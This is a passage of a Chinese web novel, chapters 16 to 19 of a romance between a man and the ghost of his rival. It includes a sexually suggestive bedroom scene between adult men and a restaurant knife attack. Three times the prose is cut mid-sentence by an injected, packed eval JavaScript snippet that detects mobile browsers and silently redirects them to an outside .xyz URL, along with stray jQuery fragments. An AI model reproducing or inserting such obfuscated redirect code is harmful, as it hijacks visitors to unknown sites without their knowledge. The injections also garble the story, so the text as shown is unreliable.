“钟总肯定不会霸王硬上弓吧?不然我会以为钟总也喜欢上了我……”
话音刚落,就看到钟秦淮表情微妙了一瞬,随即又恢复了惯常的那副云淡风轻:
“柳总觉得这可能吗?”
“那还真是令人伤心。”
柳相宜虽然语气故作遗憾,但那双柳叶眼却微微泛起笑意。
钟秦淮只觉得莫名气闷,然而他自己也不清楚这股堵在心里的气恼从何而来,只能恨恨地咬上柳相宜的唇。
好消息:今晚没走那个流程。
坏消息:较量还是要继续的。
钟秦淮的吻落下来后,柳相宜倒也没多大抗拒,毕竟他正需要吸阴气,于是也不甘示弱地回吻。
两人从窗台一路跌跌撞撞地吻到了床上,柳相宜刚洗完澡,身上还残留着沐浴露的香气,像是幽幽的白茶。
钟秦淮伏在他上方,明明这香气很是浅淡,但他脑子却已经被这香气迷得不甚清醒了。
只觉得怎么吻都还不够。
他无师自通地开始摸索了,略带凉意的手指伸进了柳相宜的睡袍里。
指尖触到了腰间的皮肤,还带着一丝未来得及干掉的潮湿,更显得光滑细腻了,像最名贵的丝绸。
钟秦淮忍不住整个手掌都贴上去了,在腰侧摩挲着,五指张开感受着。
柳相宜腰的粗细恰到好处,并没有过分瘦弱,又不粗壮,薄薄的肌肉覆盖在上面,纤细中仿佛蕴藏着力量感,像春天最柔韧的一支柳条。
太好摸了。
钟秦淮控制不住,手掌微微用力,那截腰像是受到了刺激,猛地弓了起来,他又顺着腰侧缓缓往上,腰线流畅又漂亮,像凉玉做成的弯弓。
刚才的亲吻中,灯早就被关了,此时柳相宜的主卧里一片漆黑,然而即便看不见,也能通过掌心感受到那道腰线的美妙弧度。
钟秦淮一点点地抚摸着,他甚至摸到了一个小巧的,柔软的腰窝。
不知为何,心顿时也跟那个腰窝一样柔软了下来,但手上的力道却反而更不受控制了。
轻柔缓慢地抚摸了会儿,又觉得不够,五指忍不住用力揉捏,上面的吻也跟着越发用力,像一头野兽被困在迷宫里,迟迟找不到出口般,躁动又难耐。
柳相宜被吻得喘不过气来,腰也被揉得发软发酸,更可气的是,他还推不开,只能在钟秦淮的唇上狠狠咬一口。
这小子真是越来越放肆了!
谁知咬了他一口后,钟秦淮不仅没有放过他,反而揉他腰的那只手更用力了,那股失控的力道,像是想把他的身体揉进自己的身体里一样。
柳相宜直觉这样下去危险了,他深吸一口气,攥住了钟秦淮的那只手,阻止他在自己的腰间作乱。
钟秦淮轻笑一声,舌尖从柳相宜的嘴里稍稍退出来,但没舍得离开,就贴着柳相宜的唇低语:
“怎么,这个较量柳总不敢吗?”
柳相宜还在喘息着,刚才激烈的吻让他一时半会儿说不出话来。
钟秦淮见状,又反握住柳相宜攥住自己的那只手,握着牵引进自己的睡袍里,最后贴在自己的腰侧。
随即附在柳相宜的耳边,似诱哄,又似勾引似的低笑道:
“柳总也可以摸我的。”
柳相宜呵了一声,下意识想把手抽出来,突然又听见钟秦淮幽幽的下一句:
“就是不知道柳总敢不敢?”
正要抽回去的那只手又顿住了。
掌心贴着的那片皮肤着实触感绝佳,带着微微的凉意,但又不冰,柔滑中还带着一丝韧性,跟摸一块浸在湖水中的凉玉一样。
刚才又亲又摸的,柳相宜的身体早就被摸得燥热了起来,此时贴着凉凉的皮肤,顿时舒爽了不少。
想到刚才钟秦淮对他做的,他瞬间将钟秦淮掀翻,两人很快就掉换了位置,变成他伏在上方了。
钟秦淮一点也没有反抗似的,不仅纵容,还很享受,但脸上却挂着一副挑衅的微笑,还朝柳相宜轻轻挑了一下眉:
“柳总敢吗?”
莫名的胜负欲又燃起来了!
柳相宜恶狠狠地摸了一把钟秦淮的腰,随即便听见钟秦淮愉悦的轻笑声。
声音低低的,还带着一点凌乱的喘息,响在他的耳畔,在漆黑的主卧里,就跟一只引诱人的妖精似的。
柳相宜莫名气恼,继续摸。
方才钟秦淮怎么摸他的,他也怎么摸回去,总之,绝不让自己吃亏。
一开始,钟秦淮还在笑,笑声里带着十足的挑衅,摸到后面,就笑不出来了,只剩下喘息,他闭着眼睛,鼻尖难耐地蹭了蹭柳相宜的耳朵。
柳相宜心里蓦地升腾起一股微妙的得意,他掌心微微用力,钟秦淮在他耳边的呼吸声就也跟着微微急促。
指尖在钟秦淮的腰侧转着圈似的勾划几下,钟秦淮的呼吸就会开始凌乱。
有种掌控了钟秦淮的诡异满足感。
这种心理上的快感,让柳相宜也跟着上头了,手掌游走在钟秦淮的睡袍里边,早就不局限于腰了。
钟秦淮也一样。
这是场全新的较量。
虽然还有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427153|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些生疏,但两人仍旧不服输似的,一个比一个亲得狠,一个比一个摸得用力。
你摸我这里,那我也要摸回来。
游走的手掌和指尖是冰凉凉的,唇也带着凉意,吻也是,唯有身体是热的。
等柳相宜清醒过来,意识到自己做了什么,整个人都不好了,他怀疑钟秦淮是故意的,但他没有证据。
钟秦淮忍不住咬上柳相宜的耳朵,话里意有所指似的,低笑地问道:
“现在柳总还觉得我阳痿吗?”
柳相宜:“……”
手酸得抬不起来了,手指也冰凉凉的,粘腻腻的,掌心皮肤本就柔嫩,如今也被磨红了,还有些发疼。
很想拿刀砍了自己这只手,再拿刀砍了钟秦淮,最后再拿刀砍了自己。
不过,想到钟秦淮那只手也一样,最起码自己没有吃亏,柳相宜又瞬间平衡了,甚至还觉得自己赢了。
“毕竟我暗恋钟总,所以我刚才那样也正常,但钟总可不一样了。”
他抬起另一只手,挑起钟秦淮的下巴,那双墨色长眉得意地挑起:
“钟总对着讨厌的人也能这样吗?”
经过方才迷乱的亲吻,钟秦淮再次回到了柳相宜的上方,他没回答,只目光柔柔地望着柳相宜:
“所以呢?”
主卧漆黑,柳相宜看不清钟秦淮那双眸子里的情绪,是罕见的,眼神仿佛一汪春水般柔软。
他只能听见钟秦淮的声音,和往常一样,散漫中又带着一丝戏谑的笑意。
柳相宜扬眉:“所以你输了。”
“一局定输赢……”
钟秦淮垂下头来,鼻尖亲昵地蹭了蹭柳相宜的,嘴上却如往常般回怼:
“柳总不觉得太草率了吗?怎么也要三局两胜才能分出胜负吧?”
柳相宜总觉得哪里不太对,没等他想明白,钟秦淮又用鼻尖轻柔地蹭了蹭他的鼻尖,低笑道:
“所以下次继续?”
鼻尖被蹭得微微发痒。
凉凉的触感也让柳相宜终于彻底清醒了过来,他望着近在咫尺,还仍旧抱着他不放的钟秦淮,脑子里冒出一个荒谬的念头:
这小子不会喜欢上他了吧?
但这个念头实在太荒谬了。
本来就误会自己暗恋他了,他要再这么一问,这小子不知道会有多得意,说不定还会无情的嘲笑自己自作多情。
他俩可是从小到大的死对头!
但钟秦淮这些黏黏糊糊的小动作又怎么解释?就在他脑子里思索这些的时候,钟秦淮还抱着他不放,又低下头继续蹭他的鼻尖,一下一下。
仿佛刚破壳的雏鸟。
动作亲昵还带着依恋。
舍不得离开似的。
柳相宜被自己脑补出来的笑死了,怪卧室里太黑,他无法研究这小子脸上的表情,以至于这个猜想他也没办法进一步证明,毕竟太惊悚了!
但即便如此,柳相宜还是不放过任何一次让钟秦淮吃瘪的机会。
在鼻尖又一次被蹭了之后,柳相宜终究还是忍不住开口了:
“钟总,你再这样对我动手动脚,我真会以为你也暗恋上我了。”
17.第 17 章
话音刚落,钟秦淮就顿住了。
这回,没再继续蹭他的鼻尖了。
钟秦淮蓦地起身,随即,一句带着笑意的调侃便飘了下来:
“就算柳总再怎么暗恋我,我也不会谈恋爱的,所以柳总失望了吗?”
柳相宜:“……”
果然!
他蹭地坐起身,挑眉道:
“既然不打算谈恋爱,那就不要做一些让人误会的事,钟总能做到吗?”
只要乖乖让他吸阴气好了。
那些多余的事最好都别做。
“我可不像柳总,用完就丢……”
钟秦淮扬起那只手晃了晃,故意似的,眼神也别有深意,凉凉道:
“这么过河拆桥,事后一点温情都不给,柳总这么渣的吗?”
在漆黑的主卧里,也能看清那只手,苍白得近乎鬼魅。
修长有力,骨节分明。
柳相宜刚才体验过了这只手冰凉凉的温度,以及揉捏时的那种力道。
更重要的是,那只手现在似乎还黏糊糊的,湿哒哒的。
然后,钟秦淮抬起手,指尖还在柳相宜的唇上轻轻抹了一下。
一想到他手上沾着的是什么,柳相宜整个人从床上跳了下来。
太变态了!
他立刻闪进浴室。
门被关上了,还能听见外边飘进来的,带着几分恶劣的笑声。
这小子!
柳相宜拧开水龙头,疯狂洗手。
他是个欲望并不强烈的人,平时也就偶尔自己用手疏解一下,初高中的时候也知道一些同龄人会聚在一起看小电影,有的还会互相帮助打飞机。
但他从来没有参与过。
他都这样了,想必钟秦淮更是,那小子从小就独来独往的,一个朋友都没有,除了他这个死对头。
他记得高中的时候,他有次生病请了几天假,没来学校。第二天,前桌就偷偷摸摸告诉他,他没来的这几天,钟秦淮一句话都没说,跟个哑巴似的。
和其他人一句话不说,在他这个死对头面前,倒是经常阴阳怪气,怼来怼去,垃圾话多得很。
所以,柳相宜严重怀疑这小子嘴上说什么要跟他新婚夜洞房,实际上,男的和男的怎么做他估计都不一定清楚。
因为就刚才两人上头到互相用手帮对方的时候,他自己手法生疏,但显然,钟秦淮也没比他熟练到哪里去。
两人的“胆小鬼”游戏,已经开始往这种危险且诡异的事情上开始较量了。
柳相宜心情复杂,一整个晚上都没睡好,第二天起床洗漱好,游魂似的走到客厅时,还差点以为幻觉了。
钟秦淮竟然在他家客厅,坐在他餐桌前,托着下巴,含笑地跟他打招呼:
“柳总,都冥婚了,一起吃个早餐不过分吧?”
柳相宜走过去,看了一眼餐桌,餐桌上摆着两份牛肉汉堡、两瓶牛奶、两份蟹黄包。
这肯定不是钟秦淮做的,但这小子不是只有自己能看得见吗?
这些哪来的?
像是看穿了柳相宜眼里的狐疑,钟秦淮将一瓶牛奶的吸管取下,插好,推到柳相宜面前,之后悠悠解释道:
“我早上飘下山买的。”
与其说是买,倒不如说是拿。
那个早餐铺子的老板一转身,少了好几样东西,还以为进小偷了,又看到旁边突然出现的几张钱,一头雾水,连忙调监控,更诡异了。
监控里竟然什么都没拍到。
凭空消失了几样早餐。
又凭空出现了几张钱。
忒古怪了!
早餐铺子老板一早上都想不通,但柳相宜只从钟秦淮那句话就大概知道了,不过这小子还能想着付钱,算他还有点人性。
反正吃什么都绝不吃亏。
既然钟秦淮把早餐准备好了,柳相宜倒也没别扭,坐下吃了起来。
刚拿过牛奶吸了一口,就听见钟秦淮猛不丁地突然问道:
“手还酸吗?”
柳相宜被这句惊人之语差点咳到了,他深吸一口气,强装淡定道:
“以钟总的实力,大概还没有让我手酸的地步吧?”
钟秦淮倒没有像往常那般回怼,只是朝柳相宜露出一个意味深长的笑。
柳相宜:“……”
怪瘆人的。
吃完饭,柳相宜就去上班了。走进大堂,和员工一起等电梯的时候,柳相宜就听见几个员工就在讨论早餐铺子。
“我当时亲眼瞧见了,老板刚把一屉小笼包打包好,就一个转身的功夫,那小笼包就不见了!”
“不会是撞鬼了吧?”
“笑死,鬼都死了,还会跟人一样,吃小笼包吗?”
柳相宜眨了下眼睛,忽然想起刚才的早餐桌上,钟秦淮说要一起吃早餐,但实际上他却没怎么吃,倒像是气氛组一样,只是坐在他对面陪吃。
所以……鬼真的吃这些吗?
不等柳相宜琢磨清楚,电梯“叮”地一声到了,他出了电梯,走进会议室。
会议室里坐着一个年轻人,年龄二十左右,介于少年与青年之间,柳相宜看过秘书给他的资料,此人叫夏青。
虽然年纪轻轻,但据说是柳城大学无人机领域里的天才,今年才大四,就创立了一家科技公司,今天来,主要是想来找柳相宜融资的。
听见脚步声,夏青下意识抬头,柳相宜第一眼便注意到了他那双眼睛。
最锋利的刀。
仿佛都没有他的眼神冷。
但等他看清来人是谁时,那双冷漠的眼底却又蓦地泛起一丝暖意。
“柳总。”
夏青开口了。
声音如同深谭里的水波澜不惊,透着与他年纪不相符的冷静与沉稳。
他站起来,主动朝柳相宜伸手。
柳相宜垂眸望着夏青伸过来的那只手,想到昨晚宴会厅那一个个帕金森似的手抖,他犹豫了一下。
之后也伸手了过去。
这回竟然正常地握上手了。
柳相宜正松了一口气,就发现不对劲,夏青的手在微微颤抖。像是在极力克制,但仍免不了被他感知到了。
柳相宜再往上看一眼,夏青垂在另一侧的那只手,已经攥成拳头,像是在拼命忍受着什么痛苦似的。
竟然指甲都掐进了手掌心里。
甚至还渗出了一滴滴血珠!
柳相宜见状,立刻若无其事地抽回了手,微笑地跟夏青打招呼。
顺便再瞥了一眼那只手。
果然,他的手一抽出来,夏青那只攥成拳头的手,像是施加在他身上的某种痛苦突然也跟着消失了似的,拳头瞬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432527|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间就松开了,恢复了正常。
柳相宜眸子微沉。
钟秦淮这是几个意思?
不让其他人近他身,这种诡异的行为,是还在记恨他造谣阳痿的事吗?
可这件事不是早就过去了吗?
好在合同签得很顺利,顺利到柳相宜都觉得不可思议。
根据秘书提供给他的资料,这位夏青创立的那家科技公司,虽然才一年不到,但被很多风投机构评估为柳城最有潜力的独角兽企业。
他如果缺钱想要融资的话,完全没必要主动找上门,在家坐着等就有很多公司会主动送钱了。
柳相宜微微一笑,他问夏青:
“据我所知,夏总并不缺融资,我能问问为什么选择柳氏集团吗?”
“因为我相信柳总。”
柳相宜一愣。
没想到会是这么个答案。
但夏青显然没有再进一步解释的意思,淡淡地说完,又话锋一转:
“说起来我还是柳总的学弟,如果柳总愿意的话,可以叫我阿青。”
他说这话的时候,唇角微微扬起,脸上甚至还露出与那副冷厉沉静的气质完全不相符的、两个小小的梨涡。
现在倒有几分大学生的朝气感了。
柳相宜笑了。
他看过夏青的资料,说来也巧,夏青竟然和他一个初中、高中和大学,只不过他比夏青大4岁,因此两人从来没同时在一个学校,更不曾认识过。
所以柳相宜也没有想要用这点来拉近关系,既然夏青主动提到了这层渊源,柳相宜便也答应了。
毕竟往后便是合作关系了,能和合作对象快速熟悉友好,是很重要的。
临走前,夏青又站起来,朝柳相宜伸出手,柳相宜瞥了一眼夏青另一只被掐出血珠的手掌,他没有伸手过去,只微微一笑,婉拒道:
“既然是学弟,那就不需要再讲究这些多余的商务礼仪了。”
不知道是不是他的错觉,他刚说完,就看到夏青眸子里划过一丝失落。
柳相宜:“?”
但那一瞬间的情绪很快,眨眼即逝,夏青又很快恢复了那副沉静模样。
他又淡定邀请柳相宜一起吃饭。
柳相宜这回没再拒绝。
合作成功后,他通常都会请合作对象吃饭增进一下彼此的了解。没想到不等他主动提出来,夏青倒是先说了。
离开公司前,柳相宜让秘书拿了一个创可贴过来,他递给夏青,示意夏青处理一下右手上的那个掐痕。
夏青先是一怔,像是没料到柳相宜竟然会留意到他这个小细节,之后,有些不好意思地接过:
“谢谢柳总。”
又垂眸看了一眼自己那只右手,怕柳相宜误会似的,又解释了一句:
“失礼了,刚才手抽筋了。”
柳相宜脸上仍旧保持着微笑,心里早就把钟秦淮骂了一遍。
骂完又想起他二哥柳宴池说的,只要在心里默念一下钟秦淮的名字,就可以把那小子召唤出来。
柳相宜心里又咯噔一下。
他环顾一圈,会议室很正常。
又转头看了一眼窗外,今天天晴,此时正午时分,阳光最毒辣的时候,晒得窗户玻璃都要裂开似的。
这么大的太阳……那小子白天应该不会出来作妖了吧?
18.第 18 章
柳氏集团就在柳城繁华的市中心,放眼望去,不远处就有家海鲜餐馆。
夏青停下脚步,转头看向柳相宜:
“海鲜餐馆可以吗?”
柳相宜开玩笑道:
“还真挑对了,我最爱吃海鲜。”
夏青那双冷淡的眼睛里,顿时泛起一点似有若无的笑意。
两人一前一后地走进包厢,立刻就有服务员过来了,包厢里闷热,柳相宜脱下外套,服务员正准备上手去接,忽然哎呦一声惊叫了起来。
柳相宜愣了下,垂眸一看,服务员的指尖在即将触碰到他外套的时候,又跟触电般缩了回来,手抖得厉害。
旁边的餐厅经理瞧见了,立刻把服务员骂了一通,又赶忙和柳相宜赔罪,服务员也吓得连连跟柳相宜道歉。
场面顿时混乱了起来,柳相宜被吵得头疼,又在心里怒骂了一句钟秦淮。
但脸上却仍旧保持着微笑:
“没关系,我自己来就行。”
他把外套搭在椅子上,又对坐对面的夏青说有事先出去一下。
刚一走出包厢,柳相宜脸色就变了,眸色也沉了下来。
找了个僻静无人的休息室,柳相宜进去后环顾一圈,对着空气冷声道:
“钟秦淮,我知道你在,怎么,有本事做这些没本事现身吗?”
话音刚落,休息室的角落里,一盆君子兰的枝叶就咻地一声伸展开,竟然一眨眼的功夫就蹿到了两米高!
那片叶子尖尖微弯,居高临下地俯视着柳相宜,还摇了摇,发出轻笑声:
“柳总这么指名道姓的,对我态度这么差,是不是有点不太礼貌?”
柳相宜冷眼盯着那株君子兰。
不让别人近他身,现在连别人碰他的衣服也不行,先不说这样对他的生活和工作有多大不便了,更关键的是还经常会牵连其他无辜之人。
就他所知道的,昨晚宴会厅上有一个宾客,第一次跟柳相宜握手没成功,他不死心,又努力尝试了两次,结果每次握手的时候都手抖到不行。
还以为自己得帕金森了,连夜去了医院。医生检测说他身体很正常,那位宾客还不信,说他昨晚连续三次手抖。
怀疑这家医院的设备和医生误诊,据说今天一口气跑了三家医院,一时之间成了柳城豪门圈子里的笑话。
想到这,柳相宜的脑子里又冒出那个困惑他很多年、直到钟秦淮死了也没有回答他的那个疑团了。
“所以钟总,我又哪里得罪你了?你要这么针对我?”
那片君子兰听了,枝叶尖尖歪了一下,仿佛一个人类歪了一下头,在若有所思,随后笑着调侃道:
“柳总,我死之前就告诉过你了,需要赢了我才有资格知道这个答案。”
柳相宜深吸一口气:“那钟总大人大量,高抬贵手,放过我行吗?”
“想求我放过啊?”
那盆君子兰又戏谑地轻笑道:
“那也要柳总赢了我才行……”
柳相宜:”!”
真想狠狠踹那盆君子兰一脚。
但以他的教养又实在做不出此等没有风度的事来,最后柳相宜摔门而出。
一出来,就撞见那个方才想帮他拿衣服的服务员路过,柳相宜方才还一脸怒容,又瞬间恢复了微笑。
服务员眼睛刷地一下亮了。
早就听说柳氏集团的继承人不仅年轻俊美,还尤其风度翩翩,无论何时都保持着一张笑脸,在一众豪门圈里是口碑和风评最好的一位,几乎没有差评。
今日一见,服务员才知道原来是真的,她脸色微红地向柳相宜道谢:
“刚才在包厢里……谢谢柳总。”
柳相宜还没来得及回答,突然,不远处传来一阵骚动,男人女人的尖叫声,哀嚎声,以及凌乱的脚步声:
“快来人啊!”
“这里有人发酒疯!”
“啊啊啊杀人了!”
柳相宜眉头一跳,循声望去,四五个也在餐馆吃饭的客人全都往他这个方向奔来,仿佛后面有什么可怕的怪物在追他们一样。
那几个客人奔过来,发现走廊后面不远处就是一堵墙,更是绝望了。
柳相宜转头看了他们一眼,再转头过去的时候,眸子瞬间一沉。
一个中年男人手持菜刀,正朝走廊跑过来。他脸上、衣服上溅满了血迹。
菜刀上还在滴血。
他眼神凶狠,就在几秒内已经冲到柳相宜面前了!
菜刀往前一劈。
眼看就要劈中柳相宜的肩膀,就在菜刀即将劈开柳相宜肩膀上的衣服时,那个中年男人突然触电了似的,握菜刀的手剧烈地颤抖。
下一秒,菜刀咣当一下掉落在地。
柳相宜也反应很快,马上就拧住中年男人的肩膀,一个过肩摔,中年男人被死死制住在了地上。
中年男人动弹不得,还不甘心地盯着掉在不远处的那把菜刀,仿佛跟做梦似的,迷茫和懵逼状态,喃喃自语:
“不可能啊……怎么会这样?”
他刚才明明……
明明快要砍中了的!
那几个躲在柳相宜身后的客人看到这一幕,也纷纷瞪圆了眼睛。
直到警察来了,做笔录的时候还在不可思议地感慨:
“我明明看见那把菜刀马上要砍中那帅哥肩膀的……”
“对对对,我当时吓得都捂住眼睛不敢看了,直到听到菜刀掉地上的声音,我才敢从指缝里偷看了一眼,嘿,没想到那位帅哥竟然把这个杀千刀的给拿下了!”
“太不可思议了!我到现在都没搞明白菜刀怎么突然掉地上的……”
最后调监控,只看到那个中年男人突然在关键时刻手抖了一下。
警察开玩笑道:
“小伙子真是祖上积德了啊,要不是这个中年男人突然手抽筋,砍中你脖子上的大动脉你可就完喽!”
说完,还想拍拍柳相宜的肩膀,指尖还没碰到他肩膀,就突然也手抖了一下,警察自己也愣了。
不过他也没当回事儿,只笑道:
“这手抽筋还会传染啊?”
柳相宜心情复杂。
他祖上并没有积德,反而大缺大德,不然也不能沦落到他冥婚了。
最后警方结案结得很快。
就是一个炒股赔了钱的失意中年男人喝醉了酒,一气之下持刀无差别报复社会的恶性事件。
柳相宜很快就从警察局出来了。
刚出来就看到夏青还在外边等着,见柳相宜出来了,快步走过去,眸子里透着几分关心:
“柳总。”
柳相宜松了一口气,微笑道:
“没事儿。”
好好的饭没吃成
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437212|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,反而还让柳相宜遭了这么个无妄之灾,夏青很是愧疚,说下次一定补请回来。
告别夏青之后,柳相宜就立刻驱车前往清风观,找他二哥柳宴池了。
柳宴池先是伸出一根手指头,尝试戳柳相宜的肩膀。指尖即将触碰到柳相宜的衣服时,他就嘶了一声。
手指立刻缩回去了。
随即又绕着柳相宜走了一圈,一边走一边用拂尘拍柳相宜。
从头顶一路拍到脚后跟。
之后,把拂尘甩到柳相宜面前:
“看!”
柳相宜定睛一看,原本洁白的拂尘,此时竟然像在黑雾中穿过一样,拂尘上沾满了黑色的雾气。
“这就是传说中的鬼气!”
柳宴池转了转那柄变黑的拂尘:
“你身上已经被那只鬼的鬼气给笼罩了,所以旁人才近不了你的身。”
柳相宜追问:
“那有什么办法破解吗?”
柳宴池咳嗽一声:
“这个嘛,三弟你也知道的,二哥我主修的是炼丹,也就是丹修。”
又马上安慰道:
“不过三弟放心,清风观可是柳城第一大玄学圣地,不少玄学大佬就是修习鬼道的,我这就请他们来。”
十分钟后,柳相宜就被围观了。
一大群穿着道袍的人,把柳相宜围起来,当成实验品一样研究。
“这就是鬼气啊?”
一个道士双眼放光:
“鬼气这玩意儿可是好东西!去掉他干嘛?这等于给你罩了一个金钟罩,别说菜刀了,就算枪和子弹打中你你也死不了!"
另一个戴金表的道士又研究了一下柳相宜的印堂,他虚空点了点柳相宜的眉心:
“这位柳施主,我看你印堂发黑,这几天有血光之灾。这鬼气可不能去掉,不然可就要出事喽!”
柳相宜:“……?”
得知柳相宜在海鲜餐馆的遭遇后,那位道士双手一拍,激动道:
“就是了!就是这个血光之灾了!要不是这个鬼气护你,你就完蛋喽!”
又凑近,仔细查看柳相宜的眉心:
“柳施主你今年24了吧?25大限将近,所以今年流年不利。这印堂的黑气虽然浅了些,但仍然还在,说明这几天内还会有血光之灾,这鬼气留着才能保你平安勒!”
柳相宜:“??”
接着,那个金表道士又搓了搓手掌,笑着问他:“就是不知道柳施主从哪里弄来的这鬼气呀?”
旁边的道士们七嘴八舌:
“柳施主不知道吧?这鬼气可是比黄金还贵,有些有钱的富豪,千方百计叫我们道士捉鬼,就是为了让身上沾满鬼气,这样就没人能伤得了他了。”
“就是,不管被车撞还是被人拿刀砍都刀枪不入,你甚至可以跳个楼试试,就算从二十楼跳下来鬼气也能保证你一根头发都伤不到。”
“不然你带我们去把那只鬼捉了吧!这只鬼把这么多鬼气给了你,现在正是它最虚弱的时候,捉了它,咱们可就发大财了!”
柳相宜听了,心下一惊。
一个大胆的念头在脑子里浮现,但又觉得太荒谬了。
钟秦淮会对自己这么好?
他们不是死对头吗?
柳相宜狐疑地思索着,没理会道士们的打趣,离开清风观,立刻赶回去。
19.第 19 章
回到家,推开客厅那扇门,对面联通的就是钟秦淮那栋半山别墅。
柳相宜快步走进客厅,钟秦淮平时都会窝在那张懒人沙发上看书,现在沙发上空荡荡的。
随即上楼一看,钟秦淮主卧也空荡荡的,柳相宜眉毛拧了起来:
不会真出什么事了吧?
他关上主卧门,正要去别处寻找时,余光瞥到了一抹高挑挺拔的背影,柳相宜脚步蓦地一停。
钟秦淮就在阳台。
倚在阳台栏杆上,像在欣赏远处风景,一副岁月静好、无事发生的样子。
柳相宜走过去,仔细打量他。但此时夜幕降临,钟秦淮的身体和表情被黑暗笼罩,柳相宜也瞧不出什么来。
他迟疑了一下,有些别扭地问道:
“你、你没事儿吧?”
钟秦淮闻言转过头来轻笑:
“当然有事啊。”
柳相宜顿时心提了起来。
注意到他的表情,钟秦淮歪头,眸子里闪过一丝戏谑的笑意:
“下午在海鲜餐馆里,柳总指名道姓地训了我一通,对我造成了极大的心理伤害,柳总这么快就忘记了吗?”
柳相宜:“……”
这小子!
都什么时候了还在胡说八道。
他朝钟秦淮走近些,离他只有一米的距离了,这才停下,后背倚在阳台栏杆前,余光继续偷瞟打量。
神色放松,看起来心情还挺好?
就在柳相宜暗中观察时,那偷偷摸摸的视线被钟秦淮捕捉到了。
他嘴角不自觉弯起一丝弧度,神色颇为享受,得意地开口了:
“柳总就这么恋爱脑吗?都靠这么近了还不满足还在偷看我?”
柳相宜深吸一口气。
既然这小子还有精力在这跟他打嘴炮,也许、大概、应该没问题。
夜深时分,柳相宜躺在床上,闭目养神了会儿,转过身来,望着床的那一侧思索:
自从他跑回自己房间睡了之后,那小子也会跟过来睡在他旁边的,今天居然反常地没来了。
柳相宜心里又泛起了一丝不安。
他坐起身,抬头往窗外看了一眼,雾山的参天大树拔地而起,枝桠密密麻麻,森林上空竟然一片漆黑。
今晚竟然连月亮都没有。
柳相宜更觉得奇怪了。
是他的错觉吗?
他记得闭眼前是有月亮的。
此时雾山森林的上空漆黑一片,远看像一片巨大的乌云遮天蔽日,近看,却是有无数只乌鸦陆陆续续从森林的四面八方飞过来,聚在上空盘旋。
那片由数千只乌鸦组成的黑云之下,是一汪深潭,钟秦淮浸泡在深潭中央,似在闭目养神。
周围一片漆黑,唯有他那张脸,苍白似玉,在夜色的衬托下,像一只从深潭底浮出来蛊惑人心的鬼魅。
森林深处不断飘出黑雾。
深潭边上的石头也溢出丝丝黑雾。
深潭上方盘旋的乌鸦们也一样。
丝丝缕缕的黑雾从四面八方飘过来,全都飘进了钟秦淮的身体里。
深潭旁边的一块岩石上,小乌鸦望着四面八方飘过来的鬼气全都被钟秦淮吸进去了,它骄傲地挺了挺小胸脯:
“阿、阿淮真厉害!”
整个雾山,一草一木一石一鸟全都听阿淮使唤,雾山就是阿淮的道场。
只要不离开雾山。
阿淮就是无敌的。
又突然想到阿淮之所以现在需要汲取雾山的鬼气,还不是因为他把鬼气分了一大半给那个人类了?
小乌鸦顿时打起十二分精神,那双金色的竖瞳斜瞅着钟秦淮:
“阿、阿淮你这么帮那个人类、似、似不是跟他谈、谈恋爱啦?”
另一边,柳相宜还是不放心,离开卧室,在黑漆漆的森林里四处搜寻,但钟秦淮太白了。
即便隔得远,也能一眼瞧见。
柳相宜循着那抹白色走过去,之后,就听见钟秦淮的轻笑声飘过来,在寂静的夜色里听得格外清晰:
“你说那鬼气啊?只不过看他最近有血光之灾,不想让他死这么早罢了!”
顿了顿,又微妙地解释道:
“有个活人可以使唤,帮我们做一些我们做不了的事,不挺好吗?”
柳相宜脚步一顿。
就在这时,他不小心踩中了一根枯枝,细微的声音响起后,钟秦淮像是察觉到了似的。
瞬间睁开了眼。
正与柳相宜视线对上了。
柳相宜轻咳一声,强装淡定地走了过去,见钟秦淮不断在吸收着森林里四面八方飘来的黑雾,柳相宜眉心一跳。
果然。
钟秦淮把鬼气给他,不可能对自己一点影响都没有。
虽然刚才钟秦淮说是为了留着他使唤,但不管钟秦淮是怎么想的,总归这小子的鬼气今天帮他挡了一次灾。
柳相宜不能当什么都不知道。
“总之,谢谢你了。”
虽然一开始说的时候有些别扭,但语气却是郑重的、认真的。
话起了头,接下去就很容易说了,柳相宜倒也不藏着掖着,把在清风观里那帮道士说的也一并告诉钟秦淮了,末了,不好意思地摸了下鼻子,道:
“抱歉误会你了。”
接下去话锋一转,挑眉道:
“但谁叫钟总前科累累呢?一直这么针对我,我误会钟总在整我也正常吧?”''
钟秦淮的眸子里闪过一丝诧色,随即反应过来后,凉凉地回答:
“哦,怪我这回太懂事了,反倒让柳总误会了是吧?”
柳相宜:“……”
见他泡在深潭里,柳相宜不知道这小子把鬼气给他之后,对自己的影响大不大,又问他这是在做什么。
